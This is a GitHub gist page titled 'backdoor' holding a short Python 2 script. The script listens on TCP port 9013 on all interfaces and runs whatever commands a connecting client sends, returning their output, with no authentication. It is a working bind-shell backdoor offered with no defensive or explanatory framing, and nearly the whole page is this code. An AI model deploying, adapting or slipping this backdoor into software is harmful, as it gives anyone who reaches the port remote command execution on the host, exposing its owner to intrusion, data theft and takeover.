Created
July 10, 2015 16:17
-
-
Save wanghongfei/7504ceb71282a67735b5 to your computer and use it in GitHub Desktop.
backdoor
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# encoding=UTF-8 | |
__author__ = 'whf' | |
import socket | |
import subprocess | |
import sys | |
HOST = '' | |
PORT = 9013 | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.bind((HOST, PORT)) | |
s.listen(1) | |
while True: | |
conn, addr = s.accept() | |
print 'Connected by', addr | |
while True: | |
data = conn.recv(1024).strip('\r\n') | |
cmds = data.split(' ') | |
print 'command received: %s' % cmds | |
# 断开连接 | |
if cmds[0] == 'exit': | |
conn.sendall('bye~') | |
conn.close() | |
print 'Disconnected by ', addr | |
break | |
# 退出程序 | |
if cmds[0] == 'close': | |
conn.sendall('server program is going to shutdown!!') | |
conn.close() | |
sys.exit(0) | |
if not cmds: | |
continue | |
# execute command | |
outcome = None | |
try: | |
outcome = subprocess.check_output(cmds, stderr=subprocess.STDOUT) | |
except subprocess.CalledProcessError as e: | |
outcome = e.output | |
except OSError as e: | |
outcome = e.__str__() | |
print 'sending result:%s' % outcome | |
conn.sendall(outcome + '\n') | |
conn.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment